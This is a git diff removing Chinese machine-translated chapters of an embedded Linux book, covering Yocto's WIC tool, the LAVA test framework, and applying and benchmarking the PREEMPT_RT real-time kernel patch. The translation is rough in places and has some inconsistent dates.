-`image_types_fsl.bbclass`文件定义了`IMAGE_CMD`命令,如下所示: - -```sh -inherit image_types - IMAGE_CMD_uboot.mxsboot-sdcard = "mxsboot sd ${DEPLOY_DIR_IMAGE}/u-boot-${MACHINE}.${UBOOT_SUFFIX} \ -${DEPLOY_DIR_IMAGE}/${IMAGE_NAME}.rootfs.uboot.mxsboot-sdcard" -``` - -在执行过程结束时,使用`mxsboot`命令调用`uboot.mxsboot-sdcard`命令。 执行此命令后,将调用`IMAGE_CMD_sdcard`特定命令来计算 SD 卡大小和对齐,并初始化部署空间,将适当的分区类型设置为`0x53`值,然后将根文件系统复制到其中。 在该过程结束时,有几个分区可用,并且它们具有用于打包可引导映像的相应 twidle。 - -创建各种文件系统的方法有多种,它们分布在大量现有的 Yocto 层上,并提供了一些文档供一般公众使用。 甚至还有许多脚本用于创建适合开发人员需要的文件系统。 `scripts/contrib/mkefidisk.sh`脚本就是这样一个例子。 它用于从另一种镜像格式(即`live.hddimg`格式)创建 EFI 可引导的直接磁盘镜像。 但是,主要思想仍然是:这种活动应该在没有中间阶段生成的中间映像文件系统的情况下进行,并且应该使用无法处理复杂场景的分区语言以外的其他语言。 - -记住这些信息,似乎在前面的示例中,我们应该使用另一个脚本。 考虑到可以从构建系统内部和外部构建映像这一事实,我们开始搜索一些适合我们需求的工具。 这次搜索在 Fedora KickStart 项目结束。 尽管它的语法也适用于涉及部署工作的领域,但它通常被认为对开发人员最有帮助。 - -### 备注 - -您可以在[http://fedoraproject.org/wiki/Anaconda/Kickstart](http://fedoraproject.org/wiki/Anaconda/Kickstart)找到关于 Fedora Kickstart 项目的更多信息。 - -在这个项目中,最常用和最有趣的组件是`clearpart`、`part`和`bootloader`,这些组件对我们的目的也很有用。 当您查看 Yocto 项目的 WIC 工具时,您也可以在配置文件中找到它。 如果在 Fedora kickstart 项目中将 WIC 的配置文件定义为`.wks`,则读取的配置文件使用`.yks`扩展名。 一个这样的配置文件定义如下: - -```sh -def pre(): - free-form python or named 'plugin' commands - - clearpart commands - part commands - bootloader commands - named 'plugin' commands - - def post(): - free-form python or named 'plugin' commands -``` - -前面脚本背后的思想非常简单: `clearpart`组件用于清除磁盘上的任何分区,而`part`组件用于相反的操作,即用于创建和安装文件系统的组件。 第三个也是定义的组件是`bootloader`组件,它用于安装引导加载程序,并且还处理从`part`组件接收的相应信息。 它还确保引导过程按照配置文件中的描述进行。 定义为`pre()` 和`post()`的函数用于创建图像、舞台图像伪像或其他复杂任务的前置和后置微积分。 - -如前面的描述所示,与 Fedora Kickstarter 项目的交互非常高效和有趣,但源代码是在 WIC 项目中使用 Python 编写的。 这是因为搜索了类似工具的 Python 实现,并在`pykickstarted`**库的形式下找到了它。 前面的库并不是 Meego 项目在其**Meego Image Creator**(**MIC**)工具中使用的全部功能。 此工具用于特定于 Meego 的图像创建过程。 后来,这个项目被 Tizen 项目继承。** - - **### 备注 - -有关麦克风的更多信息,请参考[https://github.com/01org/mic](https://github.com/01org/mic)。 - -WIC,我在本节中承诺要介绍的工具是从 MIC 项目派生出来的,而且它们都使用 Kickstarter 项目,所以这三个工具都基于定义创建各种图像格式的过程的行为的插件。 在 WIC 的第一次实现中,它主要是 MIC 项目的一个功能。 这里,我指的是它定义的几乎完全复制到 POKY 内部的 Python 类。 然而,随着时间的推移,该项目开始有了自己的实现,也开始有了自己的个性。 从 POKY 存储库的 1.7 版开始,不再直接引用 MIC Python 定义的类,这使得 WIC 成为一个独立的项目,它有自己定义的插件和实现。 下面介绍如何检查可在 WIC 内访问的各种格式配置: - -```sh -tree scripts/lib/img/canned-wks/ -scripts/lib/img/canned-wks/ -├── directdisk.wks -├── mkefidisk.wks -├── mkgummidisk.wks -└── sdimage-bootpart.wks -``` - -在 WIC 中定义了一些配置。 然而,考虑到过去几年人们对此工具的兴趣不断增长,我们只能希望支持的配置数量会增加。 - -我在前面提到过,MIC 和 Fedora Kickstarter 项目依赖项已经删除,但是快速搜索 poky`scripts/lib/wic`目录就会发现并非如此。 这是因为 WIC 和 MIC 都有相同的基础,即`pykickstarted`库。 虽然 WIC 现在在很大程度上基于 MIC,并且两者都有相同的父项,但 Kickstarter 项目、它们的实现、功能和各种配置使它们成为不同的实体,尽管它们相关,但它们走的是不同的发展道路。 - -# 熔岩 - -**LAVA**(**Linaro Automation and Validation Architecture**)是一个持续集成系统,专注于在其中执行一系列测试的物理目标或虚拟硬件部署。 执行的测试多种多样,从最简单的只需要引导目标的测试,到需要外部硬件交互的非常复杂的场景。 - -LAVA 表示用于自动验证的组件集合。 熔岩堆栈背后的主要思想是创建一个适用于所有规模的项目的质量受控的测试和自动化环境。 要更详细地了解熔岩实例,读者可以查看已经创建的实例,其官方生产实例是由剑桥的 Linaro 托管的。 您可以通过[https://validation.linaro.org/](https://validation.linaro.org/)访问它。 我希望你喜欢和它一起工作。 - -LAVA 框架支持以下功能: - -* 它支持对不同硬件包上的多个包进行预定的自动测试 -* 它确保在设备崩溃后,系统会自动重新启动 -* 它进行回归测试 -* 它进行持续的集成测试 -* 它执行平台启用测试 -* 它同时支持本地和云解决方案 -* 它提供了对结果包的支持 -* 它提供对性能和功耗的测量 - -熔岩主要是用 Python 编写的,这与 Yocto 项目提供给我们的没有什么不同。 正如在 Toaster Project 中所看到的,Lava 还使用 Django 框架作为 Web 界面,并且该项目使用 Git 版本控制系统进行托管。 这并不奇怪,因为我们谈论的是 Linaro,这是一个致力于免费和开源项目的非营利性组织。 因此,应用于对项目所做的所有更改的经验法则应该在上游项目中返回,从而使项目更易于维护。 然而,它也更健壮,具有更好的性能。 - -### 备注 - -如果您中的对如何使用此项目的更多详细信息感兴趣,请参阅[https://validation.linaro.org/static/docs/overview.html](https://validation.linaro.org/static/docs/overview.html)。 - -要使用 Lava 框架进行测试,第一步是了解它的架构。 了解这一点不仅有助于测试定义,而且有助于扩展它们,以及整个项目的开发。 该项目的主要组成部分如下: - -```sh - +-------------+ - |web interface| - +-------------+ - | - v - +--------+ - +---->|database| - | +--------+ - | -+-----------+------[worker]-------------+ -| | | -| +----------------+ +----------+ | -| |scheduler daemon|---→ |dispatcher| | -| +----------------+ +----------+ | -| | | -+------------------------------+--------+ - | - V - +-------------------+ - | device under test | - +-------------------+ -``` - -第一个组件**Web 界面**负责用户交互。 它用于存储数据和使用 RDBMS 提交的作业,还负责显示通过 XMLRPC API 完成的结果、设备导航或作为作业提交接收方活动。 另一个重要组件由**调度程序守护进程**表示,它负责分配作业。 它的活动相当简单。 它负责从数据库中汇集数据,并为调度程序(另一个重要组件)提供的作业保留设备。 **Dispatcher**是负责在设备上运行实际作业的组件。 它还管理与设备的通信、下载图像和收集结果。 - -有些场景只能使用 Dispatcher;这些场景涉及使用本地测试或测试功能开发。 还有一些情况下,所有组件都在同一台计算机上运行,例如一台部署服务器。 当然,理想的方案是将组件解耦,服务器在一台机器上,数据库在另一台机器上,调度程序守护进程和调度程序在另一台机器上。 - -对于使用 LIVA 的开发过程,推荐的主机是 Debian 和 Ubuntu。 使用 Lava 的 Linaro 开发团队更喜欢 Debian 发行版,但它也可以在 Ubuntu 机器上很好地工作。 有几件事需要提一下:对于 Ubuntu 机器,请确保您的包管理器可以使用和查看语义库。 - -第一个必需的包是`lava-dev`;它还包含一些脚本,用于指示确保 LAVA 工作环境所需的包依赖关系。 以下是执行此操作所需的必要命令: - -```sh -sudo apt-get install lava-dev -git clone http://git.linaro.org/git/lava/lava-server.git -cd lava-server -/usr/share/lava-server/debian-dev-build.sh lava-server - -git clone http://git.linaro.org/git/lava/lava-dispatcher.git -cd lava-dispatcher -/usr/share/lava-server/debian-dev-build.sh lava-dispatcher - -``` - -考虑到更改的位置,需要采取各种操作。 例如,对于`templates`目录的 HTML 内容的更改,刷新浏览器就足够了,但是在`*_app`目录的 Python 实现中所做的任何更改都需要重新启动`apache2ctl`HTTP 服务器。 此外,对`*_daemon`目录的 Python 源代码所做的任何更改都需要完全重新启动`lava-server`。 - -### 备注 - -对于所有有兴趣获得有关熔岩开发的更多信息的人来说,开发指南是一个很好的文档资源,可以在[https://validation.linaro.org/static/docs/#developer-guides](https://validation.linaro.org/static/docs/#developer-guides)上找到。 - -要在 64 位 Ubuntu 14.04 机器上安装 lava 或任何与 lava 相关的包,除了前面描述的 Debian 发行版的安装过程之外,还需要新的包依赖项,此外还需要启用对通用存储库`deb http://people.linaro.org/~neil.williams/lava jessie main`的支持。 我必须指出的是,当安装`lava-dev`包时,用户将被提示到一个指示`nullmailer mailname`的菜单。 我选择保留默认名称,它实际上是运行`nullmailer`服务的计算机的主机名。 我还保留了为`smarthost`默认定义的相同配置,安装过程仍在继续。 以下是在 Ubuntu 14.04 机器上安装 lava 所需的命令: - -```sh -sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu $(lsb_release -sc) universe" -sudo apt-get update -sudo add-apt-repository "deb http://people.linaro.org/~neil.williams/lava jessie main" -sudo apt-get update - -sudo apt-get install postgresql -sudo apt-get install lava -sudo a2dissite 000-default -sudo a2ensite lava-server.conf -sudo service apache2 restart - -``` - -### 备注 - -有关熔岩安装过程的信息,请访问[https://validation.linaro.org/static/docs/installing_on_debian.html#](https://validation.linaro.org/static/docs/installing_on_debian.html#)。 在这里,您还可以找到 bot Debian 和 Ubuntu 发行版的安装过程。 - -# 摘要 - -在本章中,我们向您介绍了一组新工具。 老实说,我承认这些工具并不是嵌入式环境中最常用的工具,但引入它们是为了提供对嵌入式开发环境的另一种观点。 本章试图向开发人员解释嵌入式世界不仅仅是开发和帮助完成这些任务的工具。 在大多数情况下,相邻的组件是最能激发和影响开发过程的组件。 - -在下一章中,我们将简要介绍 Linux 的实时性要求和解决方案。 我们将强调在这一领域与 Linux 一起工作的各种特性。 将提供元实时层的简短演示,并讨论抢占 RT 和 NOHZ 等特性。 不用再费劲了,让我们进入下一章吧。 我希望你会喜欢它的内容。** \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/10.md b/docs/learn-emb-linux-yocto-proj/10.md deleted file mode 100644 index 44603e65..00000000 --- a/docs/learn-emb-linux-yocto-proj/10.md +++ /dev/null @@ -1,355 +0,0 @@ -# 十、实时 - -在本章中,您将看到关于 Yocto 项目的实时组件的信息。 此外,在相同的上下文中,将解释关于操作系统和实时操作系统的一般用途的简短讨论。 然后,我们将介绍 PREMPT_RT 补丁,这些补丁试图将普通 Linux 更改为功能强大的实时操作系统;我们将尝试从更多角度来看待它,最后进行总结并得出结论。 这还不是全部,任何实时操作都需要其应用,因此还将简要介绍适用于实时操作系统环境的应用编写的注意事项。 记住所有这些,我相信现在是开始学习本章内容的时候了;我希望您喜欢它。 - -您将在本章中找到实时组件的更详细说明。 此外,还将向您展示 Linux 与实时性的关系。 众所周知,Linux 操作系统被设计成与现有的 UNIX 非常相似的通用操作系统。 很容易看出这样一个事实,即多用户系统(如 Linux)和实时系统在某种程度上是冲突的。 其主要原因是,出于一般目的,多个用户操作系统(如 Linux)被配置为获得最大平均吞吐量。 这牺牲了提供与实时操作系统完全相反的要求的延迟。 - -实时的定义相当容易理解。 它在计算领域的主要思想是,一台计算机或任何嵌入式设备都能够及时向其环境提供反馈。 这与快速有很大的不同;事实上,在一个系统的背景下,它已经足够快了,而对于汽车工业或核电站来说,足够快是不同的。 此外,这种系统将提供可靠的响应,以做出不影响任何外部系统的决策。 例如,在核电站,它应该检测和防止任何异常情况,以确保避免灾难。 - -# 了解 GPO 和 RTOS - -当提到 Linux 时,通常**通用操作系统**(**GPO**)与之相关,但随着时间的推移,对于 Linux 的**实时操作系统**(**RTOS**)具有相同优势的需求变得更加严格。 无论随机异步事件的数量和类型如何,任何实时系统都面临的挑战是满足给定的定时约束。 这并不是一项简单的任务,人们对实时系统的理论进行了大量的论文和研究。 实时系统面临的另一个挑战是对延迟设置上限,称为调度截止日期。 根据系统应对这一挑战的方式,它们可以分为硬、硬和软: - -* **硬实时系统**:此表示错过截止日期将导致整个系统故障的系统。 -* **稳固实时系统**:此表示可接受错过截止日期但系统质量可能降低的系统。 此外,错过最后期限后,提供的结果也不再有用。 -* **软实时系统**:这表示个系统,对于这些系统,错过个截止日期会降低接收结果的有用性,从而降低系统的质量。 在这类系统中,最后期限的满足被视为一个目标,而不是一个严格的要求。 - -Linux 不适合作为实时操作系统的原因有很多: - -* **分页**:通过虚拟内存的分页交换进程是没有限制的。 没有现成的方法可以知道在从磁盘获取页面之前将经过多长时间,这意味着页面中的错误导致的延迟没有上限。 -* **粗粒度同步**:这里,Linux 内核的定义是不可抢占的。 这意味着进程一旦进入内核上下文,就不能被抢占,直到它退出上下文。 在事件发生时,新事件需要等待调度,直到已经可用的事件退出内核上下文。 -* **批处理**:可以对操作进行批处理,以便更有效地使用资源。 最简单的例子就是页面释放过程。 Linux 可以传递多个页面并清除尽可能多的页面,而不是释放每个单独的页面。 -* **请求重新排序**:可以对进程的 I/O 请求进行重新排序,使使用硬件的过程更加高效。 -* **调度公平性**:这是 UNIX 的传统,指的是调度器试图公平对待所有正在运行的进程。 此属性提供了在调度较高优先级进程之前等待很长时间的较低优先级进程的可能性。 - -所有上述特征构成了为什么不能对任务或进程的延迟应用上限的原因,也是为什么 Linux 不能成为硬实时操作系统的原因。 让我们看一下下图,它说明了 Linux 操作系统提供实时特性的方法: - -![Understanding GPOS and RTOS](img/image00361.jpeg) - -要改善标准 Linux 操作系统的延迟,任何人都可以做的第一件事就是尝试更改调度策略。 默认的 Linux 分时调度策略称为**SCHED_OTHER**,它们使用公平算法,为所有进程提供零优先级,即可用的最低优先级。 其他这样的调度策略是**SCHED_BATCH**用于进程的批调度,以及**SCHED_IDLE**,它适合于极低优先级作业的调度。 该调度策略的替代方案是**SCHED_FIFO**和**SCHED_RR**。 它们都是实时策略,都是时间关键型应用,需要精确控制流程及其延迟。 - -为了给 Linux 操作系统提供更多的实时特性,还可以提供另外两种方法。 第一个是指 Linux 内核更抢先的实现。 这种方法可以利用已有的用于 SMP 支持的自旋锁机制,确保防止多个进程同时执行,尽管在单个处理器的上下文中,自旋锁不是操作。 中断处理还需要修改此重新调度,以便在出现另一个优先级更高的进程时成为可能;在这种情况下,可能还需要新的调度程序。 这种方法的优点是不会改变用户空间的交互,而且还具有使用 API(如 POSIX 或其他 API)的优点。 这样做的缺点是内核更改非常严重,每次内核版本更改时,都需要相应地调整这些更改。 如果这项工作还不够,最终的结果不是完全实时的操作系统,而是一个可以减少操作系统延迟的操作系统。 - -另一个可用的实现是中断抽象。 这种方法基于这样一个事实,即并不是所有的系统都需要硬实时确定性,并且大多数系统只需要在实时上下文中执行其任务的一部分。 这种方法背后的思想是在实时内核下以空闲任务的优先级运行 Linux,并让非实时任务继续像往常一样执行它们。 此实现伪装成禁用实时内核的中断,但实际上,它被传递给实时内核。 对于此类实施,有三种可用的解决方案: - -* **RTLinux**:它代表中断抽象方法的原始实现,由新墨西哥州矿业与技术研究所开发。 尽管它仍然有一个开放源码的实现,但现在大多数开发都是通过 FSMLabs 工程师完成的,这是后来商业版本的 Wind River 系统所要求的。 RTLinux 的商业支持于 2011 年 8 月结束。 -* **RTAI**:它是对米兰理工大学航空航天工程系开发的 RTLinux 解决方案的增强。 该项目是一个非常活跃的开发人员数量很多,目前有可用的版本。 -* **Xenomai**:它代表第三个实现。 它的历史有点曲折:它出现在 2001 年 8 月,但在 2013 年与 RTAI 合并,生成了一个适合生产的实时操作系统。 然而,聚变在 2005 年被分散,它再次成为一个独立的项目。 - -下图显示了基本的 RTLinux 体系结构。 - -![Understanding GPOS and RTOS](img/image00362.jpeg) - -类似的架构(如上图所示)适用于另外两个解决方案,因为它们都诞生于 RTLinux 实现。 它们之间的区别是在实现层面上,并且每个都提供了不同的好处。 - -# PROMPT_RT - -当需要实时解决方案时,PREMPT_RT 补丁是每个开发人员的首选。 对于一些开发人员来说,preempt_rt 补丁将 Linux 转换为适合他们需求的实时解决方案。 这种解决方案不能替代实时操作系统,但实际上适用于大量的系统。 - -与其他 Linux 实时解决方案相比,preempt_rt 最大的优势在于它实际上将 Linux 转变为实时操作系统。 所有其他替代方案通常创建一个作为系统管理程序执行的微内核,而 Linux 只作为其中的一个任务执行,因此实时任务与非实时任务的通信是通过该微内核完成的。 对于 preempt_rt 补丁,这个问题就不存在了。 - -Linux 内核的标准版本只能提供软实时要求,例如不保证截止日期的基本 POSIX 用户空间操作。 添加补丁,比如 Ingo Molnar 的 PREMPT_RT 补丁,以及 Thomas Gheixner 关于提供高分辨率支持的通用时钟事件层的补丁,您可以说您拥有了一个提供高实时能力的 Linux 内核。 - -随着实时抢占补丁在行业中的出现,出现了许多有趣的机会,使其成为工业控制或专业音频等领域坚定和硬实时应用的选择。 这主要是因为 preempt_rt 补丁的设计以及它的目标是集成到主线内核中。 我们将在本章进一步了解它的用法。 下图显示了可抢占 Linux 内核的工作原理: - -![PREEMPT_RT](img/image00363.jpeg) - -Preempt_rt 补丁程序使用以下技巧将 Linux 从通用操作系统转换为可抢占操作系统: - -* 用可抢占的`rwlock_t preemptible`和`spinlock_t`保护关键部分。 使用与`spinlock_t`相同的 API 的`raw_spinlock_t`仍然可以使用旧的解决方案。 -* 使用`rtmutexes`抢占内核锁定机制。 -* 针对`mutexes`、`spinlocks`和`rw_semaphores`实现了优先级反转和优先级继承机制。 -* 将可用的 Linux 计时器 API 转换为具有高分辨率计时器的 API,从而提供超时的可能性。 -* 实现中断处理程序的内核线程的使用。 对于每个用户空间进程,实时抢占补丁使用类似于`task_struct`的结构将软中断处理程序处理到内核线程上下文中。 还可以将 IRQ 注册到内核上下文中。 - -### 备注 - -有关优先级反转的更多信息,[http://www.embedded.com/electronics-blogs/beginner-s-corner/4023947/Introduction-to-Priority-Inversion](http://www.embedded.com/electronics-blogs/beginner-s-corner/4023947/Introduction-to-Priority-Inversion)是一个很好的起点。 - -## 应用 PREMPT_RT 补丁 - -在进入实际配置部分之前,您应该下载适合内核的版本。 最好的灵感来源是[https://www.kernel.org/](https://www.kernel.org/),它应该是起点,因为它不包含任何额外的补丁。 收到源代码后,可以从[https://www.kernel.org/pub/linux/kernel/projects/rt/](https://www.kernel.org/pub/linux/kernel/projects/rt/)下载对应的`rt`补丁版本。 本演示选择的内核版本是 3.12 内核版本,但如果需要任何其他内核版本,则可以执行相同的步骤,最终结果相似。 实时抢占补丁的开发非常活跃,因此任何缺失的版本支持都会很快被覆盖。 此外,对于其他子级别版本,可以在该特定内核版本的`incr`或更老的子目录中找到补丁。 以下是子级别版本的示例: - -```sh -wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.12.38.tar.xz -wget https://www.kernel.org/pub/linux/kernel/projects/rt/3.12/patch-3.12.38-rt52.patch.gz -``` - -收到源代码后,需要解压源代码并应用补丁: - -```sh -tar xf linux-3.12.38.tar.xz -cd linux-3.12.38/ -gzip -cd ../patch-3.12.38-rt52.patch.gz | patch -p1 - -``` - -下一步涉及内核源代码的配置。 不同架构的配置有所不同,但总体思路保持不变。 POKY 内部支持的 QEMU ARM 机器需要以下配置。 要启用对计算机的 PREMPT_RT 支持,有多个选项可用。 您可以实现低延迟支持版本,该版本最适合使用如下内核配置片段的台式计算机: - -```sh -CONFIG_GENERIC_LOCKBREAK=y -CONFIG_TREE_PREEMPT_RCU=y -CONFIG_PREEMPT_RCU=y -CONFIG_UNINLINE_SPIN_UNLOCK=y -CONFIG_PREEMPT=y -CONFIG_PREEMPT__LL=y -CONFIG_PREEMPT_COUNT=y -CONFIG_DEBUG_PREEMPT=y -CONFIG_RCU_CPU_STALL_VERBOSE=y -``` - -此选项是最常用的选项之一,也是 PREMPT_RT 补丁的主要使用来源。 另一种方法是使用类似如下的配置启用对 PROMPT_RT 补丁程序的完全抢占式支持: - -```sh -CONFIG_PREEMPT_RT_FULL=y -CONFIG_HZ_1000=y -CONFIG_HZ=1000 -``` - -如果您对手动配置内核感兴趣,它可以使用`menuconfig`选项。 以下`CONFIG_PREEMPT*`配置可用于更轻松地访问所需选项。 第一个镜像主要包含`CONFIG_PREEMPT`和`CONFIG_PREEMPT_COUNT`变量,它们应该是第一个启用的变量。 还有一个名为`CONFIG_PREEMPT_NONE`的配置选项,用于不执行强制抢占操作。 - -![Applying the PREEMPT_RT patch](img/image00364.jpeg) - -在下图中,`CONFIG_PREEMPT_RCU`和`CONFIG_PREEMPT_RT_FULL`配置为可用。 有关`RCU`的更多信息,请访问[https://lwn.net/Articles/262464/](https://lwn.net/Articles/262464/)获取。 - -![Applying the PREEMPT_RT patch](img/image00365.jpeg) - -第三个映像包含`CONFIG_PREEMPT__LL`配置。 另一个有趣的配置是`CONFIG_PREEMPT_VOLUNTARY`,它也减少了台式计算机的延迟以及`CONFIG_PREEMPT__LL`配置。 - -[https://sevencapitalsins.wordpress.com/2007/08/10/low-latency-kernel-wtf/](https://sevencapitalsins.wordpress.com/2007/08/10/low-latency-kernel-wtf/)提供了一个反对*低延迟桌面*选项的有趣论点。 - -![Applying the PREEMPT_RT patch](img/image00366.jpeg) - -最后一个包含用于更改`RCU`实现的`CONFIG_TREE_PREEMPT_RCU`配置。 可以使用相同的过程搜索和启用名称中不包含搜索词的其他配置。 - -![Applying the PREEMPT_RT patch](img/image00367.jpeg) - -有关 PREMPT_RT 补丁的详细信息,请参阅至[http://varun-anand.com/preempt.html](http://varun-anand.com/preempt.html)和[http://www.versalogic.com/mediacenter/whitepapers/wp_linux_rt.asp](http://www.versalogic.com/mediacenter/whitepapers/wp_linux_rt.asp)。 - -在使用新应用和配置的实时可抢占内核补丁获得内核镜像后,需要启动它以确保活动执行得当,以确保最终结果可用。 使用`uname –a`命令,`patch rt*`修订版号是可见的,应该应用于内核版本。 当然,还有其他方法可以用来识别此信息。 `uname –a`命令的另一种选择是在其输出上使用`dmesg`命令。字符串实时抢占支持应该是可见的,但只有一种方法应该足够。 下图显示了`uname –a`命令输出的外观: - -![Applying the PREEMPT_RT patch](img/image00368.jpeg) - -查看进程列表,可以看到,如前所述,IRQ 处理程序是使用内核线程处理的。 由于该信息放在方括号中,因此在下一个`ps`命令输出中可以看到该信息。 单个 IRQ 处理程序由类似于用户空间处理程序的`task_struct`结构表示,使得它们很容易从用户空间控制: - -```sh -ps ax -PID TTY STAT TIME COMMAND -1 ? S 0:00 init [2] -2 ? S 0:00 [softirq-high/0] -3 ? S 0:00 [softirq-timer/0] -4 ? S 0:00 [softirq-net-tx/] -5 ? S 0:00 [softirq-net-rx/] -6 ? S 0:00 [softirq-block/0] -7 ? S 0:00 [softirq-tasklet] -8 ? S 0:00 [softirq-hrtreal] -9 ? S 0:00 [softirq-hrtmono] -10 ? S< 0:00 [desched/0] -11 ? S< 0:00 [events/0] -12 ? S< 0:00 [khelper] -13 ? S< 0:00 [kthread] -15 ? S< 0:00 [kblockd/0] -58 ? S 0:00 [pdflush] -59 ? S 0:00 [pdflush] -61 ? S< 0:00 [aio/0] -60 ? S 0:00 [kswapd0] -647 ? S< 0:00 [IRQ 7] -648 ? S< 0:00 [kseriod] -651 ? S< 0:00 [IRQ 12] -654 ? S< 0:00 [IRQ 6] -675 ? S< 0:09 [IRQ 14] -687 ? S< 0:00 [kpsmoused] -689 ? S 0:00 [kjournald] -691 ? S< 0:00 [IRQ 1] -769 ? S -Date: Wed Mar 11 10:47:00 2015 +0100 - - linux-yocto-rt: removed duplicated line - - Seemed that the recipe contained redundant information. - - Signed-off-by: Alexandru.Vaduva - -diff --git a/meta/recipes-kernel/linux/linux-yocto-rt_3.14.bb b/meta/recipes-kernel/linux/linux-yocto-rt_3.14.bb -index 7dbf82c..bcfd754 100644 ---- a/meta/recipes-kernel/linux/linux-yocto-rt_3.14.bb -+++ b/meta/recipes-kernel/linux/linux-yocto-rt_3.14.bb -@@ -23,5 +23,4 @@ COMPATIBLE_MACHINE = "(qemux86|qemux86-64|qemuarm|qemuppc|qemumips)" - KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc" - KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}" - KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc" --KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc" - KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc" -``` - -前面的食谱与基本食谱非常相似。 这里,我指的是`linux-yocto_3.14.bb`;它们是已应用 PROMPT_RT 补丁的配方。 它们之间的不同之处在于,每个版本都取自其特定的分支,到目前为止,没有一个带有 PREMPT_RT 补丁的 Linux 内核版本支持`qemumips64`兼容的机器。 - -## PREMPT_RT 补丁的缺点 - -Linux 是一个针对吞吐量进行了优化的通用操作系统,它与实时操作系统的意义完全相反。 当然,它通过使用大型多层缓存提供了高吞吐量,这对于硬实时操作过程来说是一场噩梦。 - -为了拥有实时 Linux,有两个可用选项: - -* 第一个涉及到 PREMPT_RT 补丁的使用,它通过最小化延迟并在线程上下文中执行所有活动来提供抢占。 -* 第二种解决方案涉及使用实时扩展,这些扩展充当 Linux 和用于管理实时任务的硬件之间的层。 第二个解决方案包括前面提到的 RTLinux、RTAI 和 XENOMAI 解决方案,以及其他涉及移动层并将其分成多个组件的商业解决方案和变体。 - -第二个选项的变化意味着不同的解决方案,从隔离实时活动的核心到为此类任务分配一个核心。 还有许多解决方案涉及使用 Linux 内核下面的管理程序或挂钩来为 RTOS 提供大量中断。 这些替代方案的存在不仅通过其他选项提供给读者,而且还因为 PREMPT_RT 补丁有其缺点。 - -一个明显的缺点是,延迟的减少是通过在出现优先级更高的任务时强制内核抢占任务来实现的。 当然,这会降低系统的吞吐量,因为它不仅会在进程中添加大量上下文切换,而且会使较低优先级的任务比正常的 Linux 内核等待的时间更长。 - -`preempt-rt`补丁的另一个缺点是,它们需要从一个内核版本移植到另一个内核版本,并从一个架构或软件供应商移植到另一个架构或软件供应商。 这只意味着 Linux 内核的知识应该由特定的供应商在内部获得,并且应该针对其每个可用的内核调整解决方案。 这一事实本身就让 BSP 或 Linux 操作系统提供商不那么喜欢它了。 - -### 备注 - -下面的链接提供了一个关于 Linux 抢占的有趣演示文稿。 有关 linux 实时解决方案的更多信息,可以参考它,并可在[http://www.slideshare.net/jserv/realtime-linux](http://www.slideshare.net/jserv/realtime-linux)上获得。 - -# Linux 实时应用 - -拥有实时操作系统可能并不总是对每个人都足够。 有些人还需要在操作系统上运行实时优化的应用。 为了确保 RT 应用能够被设计并与之交互,操作系统和硬件上需要所需的确定性。 关于硬件配置,要求涉及低延迟中断处理。 导致 ISR 延迟的机制应记录数十微秒左右的值。 - -对于实时应用所需的内核配置,需要配置如下: - -* **按需 CPU 伸缩**:使用此配置有助于在 CPU 处于低功耗模式时创建长延迟事件。 -* **NOHZ**:此配置禁用 CPU 接收的定时器中断。 启用此选项后,CPU 唤醒所花费的延迟将缩短。 - -要编写应用,需要注意一些事情,例如确保禁用交换以减少页面错误导致的延迟。 应尽量减少全局变量或数组的使用。 99 优先级数字没有配置为运行应用,也没有实现其他自旋锁,它使用优先级继承 Futex。 还要避免应用之间的输入/输出操作和数据共享。 - -对于设备驱动程序,建议略有不同。 前面我们提到过,实时内核的中断处理是在线程上下文中完成的,但是硬件中断上下文在这里仍然可以发挥作用。 要识别来自中断处理程序的硬件中断上下文,可以使用`IRQF_NODELAY`标志。 如果使用`IRQF_NODELAY`上下文,请确保避免使用`wake_up()`、`up()`或`complete()`等函数。 - -# 标杆 - -Linux 操作系统在很长一段时间内被视为 GPO,但最近几年,一些项目试图通过将 Linux 内核修改为 RTOS 来改变这一点。 其中一个这样的项目就是前面提到的 preempt_rt 补丁。 - -在本章的这一节中,我将讨论在应用或不应用 PREMPT_RT 补丁的情况下,可以在两个版本的 Linux 操作系统上执行的一系列测试。 我要指出的是,对于那些对一些实际结果感兴趣的人,有很多文章试图调查 PREMPT_RT 的延迟影响或其优缺点。 在[http://www.versalogic.com/downloads/whitepapers/real-time_linux_benchmark.pdf](http://www.versalogic.com/downloads/whitepapers/real-time_linux_benchmark.pdf)提供了一个这样的例子。 - -在继续下一步之前,我认为我有责任定义一些正确理解某些信息所必需的技术术语: - -* **中断延迟**:此表示从生成中断到在中断处理程序中开始执行所经过的时间。 -* **调度延迟**:此表示事件的唤醒信号与有机会为其调度线程的调度器之间的时间。 它也称为**调度延迟**。 -* **最坏情况延迟**:此表示从发出需求到收到对该需求的响应所经过的时间。 -* **上下文切换**:此表示 CPU 从一个进程或线程切换到另一个进程或线程。 它只出现在内核模式下。 - -**LPPTest**包含在 PREMPT_RT 补丁中,它包含一个 Linux 驱动程序,该驱动程序只更改并行端口上的位值来标识响应时间。 另一个驱动程序响应位值的改变和测量结果的用户空间应用。 要查找的文件是`drivers/char/lpptest.c`和`scripts/testlpp.c`。 要执行此测试,需要两台机器:一台用于发送信号,另一台用于接收和发送响应。 这一要求很严格,因为使用环回电缆可能会影响测量。 - -**RealFeel**是对中断处理的测试。 该程序使用`/dev/rtc`触发周期性中断,测量一个中断与另一个中断之间的持续时间,并将其与期望值进行比较。 最后,它会无限期地打印期望值的变化,以便可以将变化导出到日志文件中,以便稍后进行处理。 - -**Linux 实时基准框架**(**LRTB**)代表一组脚本和驱动程序,这些脚本和驱动程序用于评估具有实时添加功能的 Linux 内核的各种性能计数器。 它测量实时补丁施加的负载,以及它们获得对中断的更确定响应的能力。 - -对于基准测试阶段,可以使用`hackbench`、`lmbench`甚至`Ingo Molnar dohell`脚本之类的程序。 当然,还有许多其他工具既可以用于测试(`cyclictest`、`hourglass`等),也可以用于基准测试(`unixbench`、`cache-calibrator`或任何其他将实时性能发挥到极限的压力测试),但我会让用户测试它们并应用最适合他们需要的工具。 - -Preempt_rt 补丁提高了 Linux 内核的抢占性,但这并不意味着它是最好的解决方案。 如果应用域的各个方面发生变化,PREMPT_RT 